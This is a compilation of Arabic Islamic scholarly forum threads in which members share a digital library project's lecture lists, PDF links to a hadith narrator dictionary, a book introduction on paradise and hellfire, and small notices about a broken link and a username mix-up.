فحياكم الله جميعا وبياكم وجمعنا بكم في الدنيا على حبه وطاعته وفي الآخرة في جناته إنه ولي ذلك والقادر عليه
فبعد أن من الله علي بالعودة مرة أخرى إلى بلدنا الحبيب سالما غانما وله الحمد والمنة فهذه تنبيهات أردت أن ألفت إليها أحبابي طلاب العلم المهتمين بالمشروع - من أهل الجزائر - والله أسئل التوفيق والإعانة
تنبيهات
التنبيه الاول
نداء إلى كل من كان قد أرسل لنا رسائل حول الإستفادة من المشروع أو إتصل بمكتبة مسجد التقوى الرقمية أن يتصل بي عبر
صندوق بريدي بمنتدانا المبارك أهل الحديث
أو
ارسال رسالة الى بريد allsalafi@maktoob.com (allsalafi@maktoob.com)
أو
عن طريق التواصل المباشر عبر الميسنجر allsalafi@hotmail.com (allsalafi@hotmail.com)
لدراسة كيفية إيصال والإستفادة من محتويات المشروع
أو
عن طريق رسالة عبر الهاتف المحمول 0792307475
وعلى الإخوان القاطنين بضواحي العاصمة الذين أرادوا الإستفادة من المشروع التواصل مع مكتبة مسجد التقوى الرقمية للإستفادة ونسخ مايريدونه طبعا حسب ترتيبات القائمين على المكتبة
التنبيه الثاني
وهو موجه لمن لديهم الاقراص الصلبة الخارجية وأرادوا الإستفادة من المشروع للمساهمة في نشره او الإستفادة الخاصة .... ما عليهم إلا إرسال القرص الصلب لنسخ مايريدونه
التنبه الثالث
أنه سيتم توزيع مجموعة من الأقراص كنت قد صممتها حسب الفن ... فقه , أصول الفقه.تفسير علوم الحديث ... الخ يحتوي كل قرص على صوتيات + الكتب المصورة + كتب الوورد + الكتب الالكترونية وكتب الشاملة ... الخ حيث يجمع كل هذه المواد نوع الفن .... كما أنني قمت بتصميم أقراص بها مجموعة كبيرة من البحوث العلمية والرسائل الجامعية التي كانت قد رفعت في المنتديات الشرعية وعلى رأسها منتدانا المبارك أهل الحديث .... فمن أراد المساهمة في توزيع هذه الاقراص عن طريق النسخ والتوزيع فمرحبا به معينا على الخير
التنبه الثالث
أبشر إخواني أنه بفضل الله قد تم تحميل تقريبا جل الكتب والبرامج والموسوعات التي تم رفعها في منتدانا المبارك أهل الحديث و المنتديات الشرعية الأخرى الى تاريخ 08\ 03\2009
فمن أراد شيئ منها ماعليه إلا الإتصال بنا لنسخها له ......... كما أبشرهم بمفاجئات أخرى مستقبلا إن شاء الله فلا تنسونا من دعائكم
أخيرا سأكمل وضع فهرس محتويات المشروع هنا تباعا إن شاء الله والله الموفق لما فيه الخير في الدارين وسلام لأحبابي وإخواني ,,,,,,,,,,,,,,,,, محبكم في الله وخادمكم الأندلسي
ملاحظة
أرجو من احبابي تحاشي كلمة أريد كل شيء وإنما الإكتفاء بما يحتاج له ويستثنا من ذلك من أراد المساهمة في إفادة إخوانه بالنسخ والتوزيع
ـ[أحمد بن علي محمد]ــــــــ[04 - 04 - 09, 10:42 م]ـ
بسم الله الرحمن الرحيم
السلام عليكم
لاأجد ما أقوله لكم لما تبذلونه من مجهودات لخدمة العلم و طلبة العلم
سوى بارك الله فيكم و شدد من عزمكم و جزاكم خيرا و نور مساعيكم في خدمة العلم و طلبته
ـ[البلنصوري]ــــــــ[05 - 04 - 09, 07:30 م]ـ
جزاك الله خيرا
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[13 - 04 - 09, 04:28 م]ـ
بارك الله في الجميع وجزاكم الله خير الجزاء على مروركم العطر والله أسئل أن أكون عند حسن ظنكم بي وأن يوفقنا ويجعل اعمالنا خالصة لوجهه الكريم
أواصل مع إخواني قائمة صوتيات المشروع والتي أضفتها مؤخرا
قائمة الصوتيات المضافة:
الفضائل النبوية - فضائل الأنبياء لعمر محمد فلاتة
تفسير ابن كثير لعمر محمد فلاتة
شرح سنن ابي داود لعمر محمد فلاتة
فضائل الصحابة لعمر محمد فلاتة
(يُتْبَع .. اقلب الصفحة)
(61/217)
مسلم بشرح النووي لعمر محمد فلاتة
شرح صحيح البخاري ......... صحيح مسلم لمحمد علي ثاني
تفسير البغوي لمحمد بن علي ثاني
شرح مختصر الخرقي - صحيح مسلم (غيركامل) للفقيه الوائلي
شرح جامع العلوم والحكم لعمر حسن فلاتة
شرح بلوغ المرام لعمر حسن فلاتة
شرح الرحبية لعمر حسن فلاتة
تفسير السعدي من الفاتحة الى 28 من آل عمران لعلي بن ناصر الفقيهي
مختصر سيرة الرسول لمحمد بن عبد الوهاب للشيخ علي بن ناصر الفقيهي
تيسير العزيز الحميد لعلي بن ناصر الفقيهي
شرح فتح المجيد لعلي بن سعيد الغامدي
شرح منار السبيل لعلي بن سعيد الغامدي
شرح الادب المفرد للشيخ عطية سالم
شرح الاربعون النووية لعطية سالم
الإسراء و المعراج لعطية سالم
شرح البيقونية
شرح الرحبية
شرح سبل السلام فضائل المدينة النبوية كلها للشيخ عطية سالم
شرح رياض الصالحين
شرح زاد المستقنع
شرح كتاب التوحيد
شرح منسك الإمام أحمد كلها للشيخ محمد ناصر السحيباني
الأذكار للنووي لعبد الله الغنيمان
الأصول الثلاثة لعبد الله الغنيمان
الوابل الصيب لعبد الله الغنيمان
شرح الواسطية لعبد الله الغنيمان
شرح فتح المجيد لعبد الله الغنيمان
شرح شعب الإيمان لعبد الله الغنيمان
شرح كتاب التوحيد لعبد الله الغنيمان
شرح فتح المجيد للشيخ عبد العزيز الشبل
تفسير القرآن للشيخ عبد القادر شيبة الحمد
شرح الأربعين النووية لشيخ العباد
صوتيات الحرم المدني للشيخ عبد العزيز الصالح العقل
شرح بيان عقيدة السلف للعباد
عمدة التفسير للعبود (الفاتحة الى المائدة الآية 66)
شرح كتاب التوحيد لابن خزيمة للعبود
الفتوى حموية الكبرى للعبود
شرح الأصول الستة للعبود
شرح التحفة العراقية للعبود
صوتيات الشيخ راشد بن عاتق الرحيلي
البلبل مختسر الروضة للشيخ حسين آل الشيخ
شرح الروض المربع للشيخ حسين آل الشيخ
شرح بلوغ المرام لحسين آل الشيخ
حجة النبي للألباني للشيخ حسين آل الشيخ
نداءات الرحمن للجزائري (أبو بكر جابر)
شرح صحيح البخاري للجزائري
المسجد وبيت المسلم للجزائري
شرح أصول السنة 1 - 2 لإبراهيم الرحيلي
صوتيات متفرقة للشيخ إبراهيم الرحيلي
اعتقاد أهل السنة لعدي بن مسافر لابراهيم بن عامر الرحيلي
الأصول الثلاثة
الاعتقاد لابن أبي يعلى
الطحاوية
العبودية
النووية
ذم قسوة القلب لابن رجب
رياض الصالحين
شرح الطحاوية
كتاب التوحيد باب1 - 23
كتاب القدر لابن وهب
كشف الشبهات
لمعة الاعتقاد إبراهيم الرحيلي
موقف أهل السنة من أهل الأهواء والبدع
الاداب الشرعية للشيخ عبد الحليم توميات
التعريف بكتب التفسير للبريدي
التعريف بكتب العقائد عبد العزيز بن محمد آل عبد اللطيف
الخضير شرح ألفية العراقي
تعريف بكتب المصطلح للشيخ انيس طاهر
تعلم الاعراب
تفسير سورة العنكبوت للشيخ ناصرالعمري
تفسير سورة القصص للشيخ ناصر العمري
دراسات في علم العلل للشيخ عبد العزيز الطريفي
دورة الشارقة المذهب المالكي
دورة الشارقة المذهب الحنفي
دورة الشارقة لعلم المقاصد - كاملة -
سلسة المجالس النحوية للشيخ الراجحي
سلسلة الخروج من الفتن للشيخ ابراهيم بن ناصر الناصر
سلسلة العلمانية والتغريب للشيخ عبد الرحمن بن صالح المحمود
سلسلة آيات للسائلين للشيخ ناصر العمري
سلسلة كيف تصنع من ولدك الصغير رجلا كبيرا للخبير التربوي عبد الله محمد عبد الله
شرح نظم المقصود في الصرف للحازمي
شرح اصول الفقه للحازمي
شرح اصول في الفقه من الوجيز شرح البدوي
شرح الاجرومية للشيخ عبد العزيز العيوني
شرح الاجرومية للعوني
شرح الازهرية في علوم العربية للشيخ عبد العزيز العيوني
شرح الأصول الثلاث للشيخ عبد الرحمن بن صالح المحمود
شرح التدمرية للشيخ محمد بن سعيد القحطاني
شرح الطحاوية شرح الشيخ عبد العزيز بن محمد آل عبد اللطيف
شرح الفتوى الحموية الكبرى للشيخ عبد الرحمن بن صالح المحمود
شرح الموطأ للشيخ محمد المنتصر بالله الكتاني غير مكتمل
شرح تحفة الطلاب للشيخ حنبكة - فقه شافعي
شرح حاشية الدرة المضيئة للشيخ عبد الرحمن المحمود
شرح رسالة في اصول الفقه للعكبري
شرح شدى العرف في فن الصرف من موقع الالوكة
شرح شرح المكودي على الالفية - غير تام -
شرح قطر الندى شرح الشيخ عبد الله بن صالح الفوزان
شرح قواعد الاصول ومعاقد الفصول شرح الحازمي
شرح قواعد الإعراب للحازمي
شرح كتاب الجهاد من منار السبيل للشيخ ناصر العمر
شرح كتاب العلل الصغير للترمذي شرح الشيخ عبد العزيز بن مروزق الطريفي
شرح مختصر الخرقي للخضير
شرح مراقي السعود لاحد الشناقطة
شرح مراقي السعود للشيخ خالد السبت من موقع البث المباشر
شرح منتقى الاخبار
شرح منطومة الذرة اليتيمة للشيخ عبد الله الفوزان
شرح منظومة في اصول الفقه للشيخ محمد علي آدم
صوتيات باللعامية للشيخ عبد الرحمن الهاشمي
فتاوى الفوزان
شرح العلامة الشيخ حسن بن علي الكتاني المرشد المعين على الضروري
محاضرات اهمية اللغة لمجموعة من العلماء
مقدمة في مناهج المحدثين للشيخ فالح الصغير
مناظرة الشيخ صفوت الشوادفي والشيخ صفوت نور الدين مع مفتي مصر 3 اشرطة
منهجية التلقي الفقهي للشيخ سعد مصطفى
نظرات في كتب التفسير خالد السبت
يتبع إن شاء الله
(يُتْبَع .. اقلب الصفحة)
(61/218)
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[13 - 04 - 09, 04:33 م]ـ
تنبيه مهم:
من أجل مساعدة إخواننا المقيمين خارج العاصمة ولضمان وصول ما يريدونه من مكتبة المشروع فهناك طريقة الإرسال عن طريق سائقي الأجرة مابين الولايات فقد اظهرت الطريقة ضمان وسرعة لوصول الأشياء احسن من الطرود والحوالات البريدية وسأتطرق الى هذه الطريقة لاحقا إن شاء الله فلا تنسونا من دعائكم
محبكم في الله وخادمكم الاندلسي غفر الله له
ـ[عماد أحمد سعيد]ــــــــ[13 - 04 - 09, 10:40 م]ـ
جزاك الله خيرا
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[16 - 04 - 09, 12:47 ص]ـ
ولك بالمثل أخي الحبيب .........
اواصل مع إخواني فهرس الصوتيات:
صوتيات محمد قطب
دراسات في الأهواء والفرق وموقف السلف منها
شرح التوسل والوسيلة
شرح فتاوى شسخ الاسلام توحيد الألوهية الجزء الأول و الثاني
شرح العقيدة الطحاوية ..... كلها للشيخ ناصر العقل
شرح كتاب الوجيز شرح الشيخ أبي سعيد الجزائري
دروس في التخريج حاتم العوني
دروس في علم الحديث حاتم العوني
محاضرات وندوات في علم الحديث حاتم العوني
نخبة الفكر حاتم العوني
نزهة النظر حاتم العوني
علم التفسير نشأته ومناهجه للشيخ حاتم العوني
شرح الأصول الستة_الشيخ خالد المصلح
شرح الفرقان_خالد المصلح
شرح القواعد الأربع_خالد المصلح
شرح القواعد والأصول الجامعة_خالد المصلح
طرق تخريج الحديث_سعد الحميد
منهاج المحدثين الشيخ سعد الحميد
العقيدة الطحاوية
العقيدة الواسطية
شرح لمعة الاعتقاد
شرح نواقض الإسلام
شرح كتاب التوحيد
شرح الطحاوية مختصر
أحكام فقهية
بلوغ المرام من ادلة الاحكام
من آداب المشي إلى الصلاة
منظومة الىداب الشرعية
احاديث في الفتن والحوادث
التوحيد لابن رجب
العقيدة الطحاوية
العقيدة الواسطية
حائية ابن ابي داوود
شرح الأصول الثلاثة
شرح مجردة لوامع الانوار
شرح مسائل الجاهلية
عمدة الاحكام - الطهارة -
كتاب التوحيد
كلمة الاخلاص
كلها للشيخ عبد الرحمن بن ناصر البراك
سلسلة شرح مقدمة الترمذي لعبد الرحيم الطحان
مقدمة في الفقه لعبد الرحيم الطحان
مقدمة في علم التوحيد للشيخ عبد الرحيم الطحان
الإبانة الصغرى لابن بطة
الإقتصاد في الإعتقاد للمقدسي
الإيمان الاوسط لشيخ الاسلام
الإيمان للإمام أبو عبيد القاسم بن سلام
الإيمان من صحيح ابن حبان
الحموية
السنة للامام البربهاري
الطحاوية
الواسطية
القواعد الأربع
تطهير الإعتقاد دروس في العقيدة
رسالة الإمام احمد في الرد على الزنادقة والجهمية
رسالة العبودية
كتاب التوحيد من البخاري
كشف الشبهات
اللمعة
مسائل الجاهلية
نواقض الإسلام
تفسير ابن كثير
تفسير الفاتحة والبقرة
سنن ابن ماجة وصحيح ابن خزيمة
سنن الترمذي
سنن النسائي
شرح صحيح البخاري
شرح صحيح مسلم
شروط الصلاة والقواعد الأربعة
عمدة الفقه
كلها للشيخ عبد العزيز الراجحي
شرح أصول الفقه للنملة
شرح الورقات للنملة
آداب المشي الى الصلاة للشيخ عبد الله السعد
الألزامات للدارقطني
التمييز للإمام مسلم
الموقظة
بدء الوحي من صحيح البخاري
نواقض الإسلام كلها للشيخ عبد الله السعد
جميع صوتيات الشيخ عبد الله الخضير التي هي على النت
شرح كتاب التوحيد
من حلقات نور على الدرب للشيخ عبد الله بن حميد
بلوغ المرام
قطر الندى للشيخ عبد الله الفوزان
اخصر المختصرات
اعتقاد أهل السنة للإسماعيلي
التسهيل الى الفقه
الرحبية
السنة لعبد الله
السنة للخلال
العقيدة الطحاوية
المختصرات في الفقه
دليل الطالب لنيل المطالب
مفيد المستفيد في كفر تارك التوحيد
مقدمة التفسير لشيخ الاسلام
منهج السالكين ......... كلها للعلامة ابن جبرين
التوضيح والبيان لشجرة الإيمان لابن سعدي للشيخ عبد الله الجربوع
التعريف بمنهج الفقهاء
الجامع من البلوغ
القواعد الفقهية
المحرر في الحديث
كتاب الصلاة من البلوغ ....... كلها للشيخ عبد المحسن الزامل
التوحيد
تفسير سورة النور
تفسير سورة يوسف ........ كلها للشيخ عبد المنعم عبد المبدئ
سلسلة شرح كتاب الطهارة
شرح دفع إيهام الإضطراب ... كلها للشيخ محمد اسماعيل المقدم
اللسان العربي
شرح الجزرية
شرح الورقات ....... كلها للشيخ الددو
شرح سنن الترمذي
شرح كتاب التوحيد
(يُتْبَع .. اقلب الصفحة)
(61/219)
شرح كتاب الطهارة من جامع الترمذي
تفسير سورة النور كلها للشيخ محمد المختار الشنقيطي
سلسلة السيرة النبوية
سلسلة تفسي القرآن كلها للشيخ محمد جميل غازي
شرح حديث جبريل لمحمد حسان
سلسلة العقيد الصحيحة
شرح الأربعين النووية كلها للمنجد
أحكام الصيام
الزكاة
الصيام
سلسلة شرح الكبائر
فقه السنة الصيام
فقه العبادات
كتاب بداية المجتهد ونهاية المقتصد - كتاب البيوع - ......... كلها
للشيخ محمود عبد المقصود
سلسلة تفسير القرآن للشيخ مصطفى العدوي
الإيمان لابي عبيد القاسم بن سلام
العقيدة الطحاوية
الحموية
الواسطسة
رسالة حديث الافتراق
اللمعة ............ كلها للشيخ يوسف الغفيص
المعلقات
المقصور و الممدود
بانت سعاد
مثلث بن مالك كاها للشيخ أحمدو الحسني
شرح التحفة السنية لاسامة القوصي
شرح قطر الندى لمحمد الحمد
شرح ملحة الاعراب
شرح الأجرومية للشيخ عبد الرحمن الكوني
أصول الفقه للشيخ عبد الله العبيلان
أعلام السنة المنشورة للشيخ عبد العزيز الحميدي
اعلام السنة المنشورة لاحمد الحميدي
الاديان والمذاهب و الفرق للسلومي
التربية العالية للخلاوي
المعاملات المالية للاطرم
الواضح في أصول الفقه للأشقر
الورقات لليوبي وعبد الوهاب
دروس في أصول الفقه لعبد الرحمن عبد الخالق
دلائل النبوة للشيخ انيس طاهر
سلسلة تصحيح المفاهيم - الإرجاء - للسيد العربي كمال
شرح الورقات لحسن الوائلي
شرح رسالة العبودية لفوزي السعيد
شرح صحيح البخاري للشيخ عمرعبد الكافي
شرح كتاب التذكرة للشيخ السعيد
شرح كتاب الرقائق سعيد شعبان
شرح كتاب المعاملات من الزاد للمشيقح
شرح كتاب الرقائق من صحيح البخاري وليد البلالي
شرح كشف الشبهات للشريم
شرح لامية شيخ الاسلام للسدحان
شرح لامية شيخ الاسلام للسحيباني
شرح مباحث علوم القرىن للشيخ عبد المنعم الشحات
شرح مقدمة التفسير لشيخ الاسلام لعبد الرحمن الدهش
شرح منظومة القواعد الفقهية للشثري
شرح منهاج السالكين ليوسف الحمد
عمدة الفقه للشيخ الاطرم - دورة -
مختصر معارج القبول لمحمد سعيد القحطاني
مقاصد الشريعة لليوبي
مقدمة الآجرومية لعبد الرحمن الدهش
يتبع إن شاء الله
ـ[البلنصوري]ــــــــ[23 - 04 - 09, 04:47 م]ـ
جزاك الله خيرا(61/220)
هاك مبتغاي، معجم أسامي الرواة الذين ترجم لهم الألباني جرحا وتعديلا؛ من يتكرم بتنزيله للشاملة
ـ[يونس1]ــــــــ[14 - 09 - 08, 11:15 م]ـ
هل هو موجود بصيغة الشاملة، نرجو تنزيله، ولكم دعوة بظاهر الغيب.
ـ[أسامة بن الزهراء]ــــــــ[15 - 09 - 08, 01:12 ص]ـ
للشاملة غير موجود فيما أعلم!
ـ[يونس1]ــــــــ[15 - 09 - 08, 01:18 ص]ـ
اذا كان موجود pdf ، فلتنزله أكرمك الله.
ـ[أسامة بن الزهراء]ــــــــ[15 - 09 - 08, 01:23 ص]ـ
أما مصورا فنعم، أنزله أخونا الفاضل: بن سالم من فترة
وهاك الروابط:
www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb0.pdf
www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb1.pdf
www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb2.pdf
www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb3.pdf
www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb4.pdf
ـ[أبو عبد الله بن سعيد]ــــــــ[15 - 09 - 08, 03:23 ص]ـ
جزاكم الله خيراً
ـ[أبو عبد الله السني]ــــــــ[15 - 09 - 08, 11:59 م]ـ
أما مصورا فنعم، أنزله أخونا الفاضل: بن سالم من فترة
وهاك الروابط:
www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb0.pdf (http://www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb0.pdf)
www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb1.pdf (http://www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb1.pdf)
www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb2.pdf (http://www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb2.pdf)
www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb3.pdf (http://www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb3.pdf)
www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb4.pdf (http://www.kabah.info/uploaders/o_zahra/masrtalb/masrtalb4.pdf)
بارك الله فيك يا شيخنا(61/221)
حملوا كتابي ((نعيم الجنة وعذاب النار في القرآن والسنَّة)) للشاملة 3 + ورد مفهرساً
ـ[علي 56]ــــــــ[15 - 09 - 08, 01:23 ص]ـ
((حقوق الطبع متاحة لجميع الهيئات العلمية والخيرية))
بسم الله الرحمن الرحيم
الحمد لله رب العالمين، والصلاة والسلام على سيد الأنبياء والمرسلين، وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فقد قال تعالى: {يَا أَيُّهَا الَّذِينَ آَمَنُوا اتَّقُوا اللَّهَ وَلْتَنْظُرْ نَفْسٌ مَا قَدَّمَتْ لِغَدٍ وَاتَّقُوا اللَّهَ إِنَّ اللَّهَ خَبِيرٌ بِمَا تَعْمَلُونَ (18) وَلَا تَكُونُوا كَالَّذِينَ نَسُوا اللَّهَ فَأَنْسَاهُمْ أَنْفُسَهُمْ أُولَئِكَ هُمُ الْفَاسِقُونَ (19) لَا يَسْتَوِي أَصْحَابُ النَّارِ وَأَصْحَابُ الْجَنَّةِ أَصْحَابُ الْجَنَّةِ هُمُ الْفَائِزُونَ (20)} [الحشر/18 - 20]
يَأْمُرُ اللهُ تَعَالَى المُؤْمِنِينَ بِتَقْوَاهُ، وَذَلِكَ بِأَنْ يَفْعَلُوا مَا أَمَرَهُمْ بِهِ، وَأَنْ يَتْرُكُوا مَا نَهَاهُم عَنْهُ، وَلْيَنْظُرْ كُلُّ وَاحدٍ مِنْهُمْ مَا قَدَّمَ مِنْ عَمَل صَالِحٍ يَنْفَعُهُ فِي آخِرَتِهِ يَوْمَ الحِسَابِ، ثُمَّ يُؤْكِّدُ تَعَالى الأَمْرَ بِتَقْوَاهُ، مُبَيِّناً أَنَّهُ عَلِيمٌ بِأْحْوالِ العِبَادِ، جَمِيعِهَا، وَسَيُحَاسِبُهُمْ عَلَيْهَا.
وَلاَ يَكُنْ حَالُكُمْ كَحَالِ قَوْمٍ نَسُوا ذِكْرَ اللهِ فَأَنْسَاهُمُ اللهُ العَمَلَ الصَّالِحَ الذِي يَنْفَعُهُمْ فِي آخِرَتِهِمْ، وَيُنْقِذُ أَنْفُسَهُمْ يَوْمَ الحِسَابِ مِنَ العَذَابِ. وَهَؤُلاَءِ الذِينَ نَسُوا اللهَ ذَكْرَهُ، وَفِعْلَ الخَيْرِ، هُمُ الفَاسِقُونَ الخَارِجُونَ عَنْ طَاعَةِ اللهِ تَعَالَى.
وَلاَ يَسْتوِي فِي حُكْمِ اللهِ يَوْمَ القِيَامَةِ، أَهْلُ النَّارِ وَأَهْلُ الجَنَّةِ، وَأَصْحَابُ الجَنَّةِ هُمُ الفَائِزُونَ بِرِضْوَانِ اللهِ وَجَنَّتِهِ.
وقد قابل تعالى بين الجنة والنار، فقال تعالى: {كُلُّ نَفْسٍ ذَائِقَةُ الْمَوْتِ وَإِنَّمَا تُوَفَّوْنَ أُجُورَكُمْ يَوْمَ الْقِيَامَةِ فَمَنْ زُحْزِحَ عَنِ النَّارِ وَأُدْخِلَ الْجَنَّةَ فَقَدْ فَازَ وَمَا الْحَيَاةُ الدُّنْيَا إِلَّا مَتَاعُ الْغُرُورِ (185)} [آل عمران/185]
وقال تعالى: {مَثَلُ الْجَنَّةِ الَّتِي وُعِدَ الْمُتَّقُونَ فِيهَا أَنْهَارٌ مِنْ مَاءٍ غَيْرِ آَسِنٍ وَأَنْهَارٌ مِنْ لَبَنٍ لَمْ يَتَغَيَّرْ طَعْمُهُ وَأَنْهَارٌ مِنْ خَمْرٍ لَذَّةٍ لِلشَّارِبِينَ وَأَنْهَارٌ مِنْ عَسَلٍ مُصَفًّى وَلَهُمْ فِيهَا مِنْ كُلِّ الثَّمَرَاتِ وَمَغْفِرَةٌ مِنْ رَبِّهِمْ كَمَنْ هُوَ خَالِدٌ فِي النَّارِ وَسُقُوا مَاءً حَمِيمًا فَقَطَّعَ أَمْعَاءَهُمْ (15)} [محمد/15]
وقال تعالى: {إِنَّ لِلْمُتَّقِينَ عِنْدَ رَبِّهِمْ جَنَّاتِ النَّعِيمِ (34) أَفَنَجْعَلُ الْمُسْلِمِينَ كَالْمُجْرِمِينَ (35) مَا لَكُمْ كَيْفَ تَحْكُمُونَ (36)} [القلم/34 - 36]
هذا وقد منَّ الله تعالى عليَّ فكتبت كتابين مطوَّلين الأول حول هذا الموضوع
الأول- ((الخصال الموجبة لدخول الجنة في القرآن والسُّنَّة)).
والثاني ((الخِصالُ الموجبةُ لدخول النار في القرآن والسنة)).
وفي هذا الكتاب قد تكلمت عن صفة الجنة ونعيمها الدائم، وعن صفة النار وعذابها وسمومها،بشكل مفصل، فجمعت جلَّ ما ورد في القرآن والسنَّة النبوية، وقد قسمته لبابين:
الباب الأول - نعيم الجنة في القرآن والسنَّة
وتحته اثنان وأربعون مبحثاً
الباب الثاني -عذاب النار في القرآن والسنَّة
وتحته ثلاثة وأربعون مبحثا
وقد قمت بشرح الآيات القرآنية بشكل مختصر، وبشرح غريب الحديث، والتعليق على بعض ما يلزم.
وقد سلكت فيه مسلك المعتدلين في قبول الأخبار، وغالبها يدور بين الصحيح والحسن، وفيه بعض الضعيف المتمم لهما، واستبعدت الأحاديث الواهية والمنكرة فما دونهما، والتي قد كثرت بها كتب الترغيب والترهيب.
نسأل الله تعالى أن يجعلنا وإياكم من أهل الجنة،بمنِّه وكرمه، وأن يقينا عذاب النار. آمين.
عَنْ أَنَسِ بْنِ مَالِكٍ قَالَ قَالَ رَسُولُ اللَّهِ -?- «يُؤْتَى بِأَنْعَمِ أَهْلِ الدُّنْيَا مِنْ أَهْلِ النَّارِ يَوْمَ الْقِيَامَةِ فَيُصْبَغُ فِى النَّارِ صَبْغَةً ثُمَّ يُقَالُ يَا ابْنَ آدَمَ هَلْ رَأَيْتَ خَيْرًا قَطُّ هَلْ مَرَّ بِكَ نَعِيمٌ قَطُّ فَيَقُولُ لاَ وَاللَّهِ يَا رَبِّ. وَيُؤْتَى بِأَشَدِّ النَّاسِ بُؤْسًا فِى الدُّنْيَا مِنْ أَهْلِ الْجَنَّةِ فَيُصْبَغُ صَبْغَةً فِى الْجَنَّةِ فَيُقَالُ لَهُ يَا ابْنَ آدَمَ هَلْ رَأَيْتَ بُؤْسًا قَطُّ هَلْ مَرَّ بِكَ شِدَّةٌ قَطُّ فَيَقُولُ لاَ وَاللَّهِ يَا رَبِّ مَا مَرَّ بِى بُؤُسٌ قَطُّ وَلاَ رَأَيْتُ شِدَّةً قَطُّ».أخرجه مسلم (7266)
وكتبه
الباحث في القرآن والسنَّة
علي بن نايف الشحود
في 8 رمضان 1429هـ الموافق 8/ 9/2008م
==========================
(يُتْبَع .. اقلب الصفحة)
(61/222)
ـ[أبو عبد الله السني]ــــــــ[15 - 09 - 08, 09:47 م]ـ
جعلك الله من عتقاء رمضان من النيران
جعلك الله من عتقاء رمضان من النيران
جعلك الله من عتقاء رمضان من النيران
ـ[علي 56]ــــــــ[16 - 09 - 08, 01:46 ص]ـ
ولك مثل دعوتك أخي أبو عبد الله
ـ[خالد عمار]ــــــــ[16 - 09 - 08, 06:28 م]ـ
جعلك الله من عتقاء رمضان من النيران
ـ[علي 56]ــــــــ[17 - 09 - 08, 05:29 ص]ـ
وأنتم
جعلكم الله من عتقاء رمضان من النيران
ـ[أبو أنس السندي]ــــــــ[17 - 09 - 08, 08:43 ص]ـ
أدخلك الله الجنة
وباعدك عن النار
أحبكم في الله (ابتسامة)
ــــــــــــــــــــــــــ
لي طلب صغير
لو قمتم بجمع كل كتبكم ووضعتموها في موضوع واحد حتى تكون الفائدة أكبر
ـ[أم جمال الدين]ــــــــ[17 - 09 - 08, 09:09 ص]ـ
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
جزاكم الله خيرا وبارك فيكم
ـ[علي 56]ــــــــ[17 - 09 - 08, 09:22 ص]ـ
وأنتم
جزاكم الله خيرا ونفع بكم
وأدخلكم الجنة وغفر لكم
وأما طلب أخي في الله أبو أنس
فهذا جوابه في صيد الفوائد ففيه غالب كتبي:
http://saaid.net/book/search.php?do=all&u=%DA%E1%ED%20%C8%E4%20%E4%C7%ED%DD%20%C7%E1%D4%CD %E6%CF
ـ[علي 56]ــــــــ[17 - 09 - 08, 07:07 م]ـ
حملوه كملف أكروبات لمن شاء(61/223)
هذا رابط غير صحيح - http://www.alsunnah.com - ويوجد في معظم كروت الكتب بلوحة التحكم.
ـ[يونس1]ــــــــ[15 - 09 - 08, 01:58 ص]ـ
ما هذا الموقع هل هو: http://www.sunnah.org.sa ؛
أو
؛ www.sonnhonline.com
برجاء إزالة جهلنا بذلك.
ـ[يونس1]ــــــــ[15 - 09 - 08, 02:11 ص]ـ
هذا يكتب؛ لقسم المكتبة الشاملة.
ـ[يونس1]ــــــــ[15 - 09 - 08, 02:43 م]ـ
على هذا الرابط تجد الرد:-
http://www.ahlalhdeeth.com/vb/showthread.php?t=148479(61/224)
تنبيه: حول اسم نافع
ـ[نافع]ــــــــ[15 - 09 - 08, 02:02 ص]ـ
السلام عليكم ورحمة الله وبركاته
قد نبهني بعض الأفاضل إلى وجود من يكتب باسم نافع في منتدى آخر
http://www.m1500.com/vb/index.php
وانظروا هذه المشاركة مثلا
http://www.ahlalhdeeth.com/vb/showpost.php?p=893897&postcount=2
والأمر المهم أن بعض الأخوة قد ظن أنني من أكتب هناك باسم نافع
فأحببت أن أنبه أن من يكتب باسم نافع، في ذلك الموقع، ليس أنا
وقد نبهت على هذا منعا للالتباس
ـ[يحيى صالح]ــــــــ[15 - 09 - 08, 06:33 م]ـ
جزاك الله خيرًا
و لقد ظهر من كتابات كلٍّ منكما الفارق بينكما.
بارك الله فيكما
ـ[أبو عبد الله السني]ــــــــ[15 - 09 - 08, 09:37 م]ـ
السلام عليكم ورحمة الله وبركاته
قد نبهني بعض الأفاضل إلى وجود من يكتب باسم نافع في منتدى آخر
والأمر المهم أن بعض الأخوة قد ظن أنني من أكتب هناك باسم نافع
فأحببت أن أنبه أن من يكتب باسم نافع، في ذلك الموقع، ليس أنا
وقد نبهت على هذا منعا للالتباس
أسأل الله تعالى أن ينفع بك عباده المؤمنين
اسم على مسمى يا شيخ
ـ[الطيماوي]ــــــــ[15 - 09 - 08, 10:51 م]ـ
أسأل الله أن يكتب لي زيارة لمصر والتعرف عليك والجلوس معك،،، اللهم آمين
ـ[أبو إسلام عبد ربه]ــــــــ[16 - 09 - 08, 01:35 م]ـ
يُطالب الأخ مشرف الشهري - وهو المشرف هناك - بتغيير اسم الأخ الذي يكتب في موقعه باسمك
فيجعله مثلا: (نافع المدني) حيث ذكر أنه من المدينة
وذلك لمنع أي التباس(61/225)
حملوا كتابي ((الإيمانُ والعملُ الصالحُ سَببُ النَّجاحِ والفلاحِ)) للشاملة 3 + ورد + pdf
ـ[علي 56]ــــــــ[15 - 09 - 08, 02:32 ص]ـ
((حقوق الطبع متاحة لجميع الهيئات العلمية والخيرية))
بسم الله الرحمن الرحيم
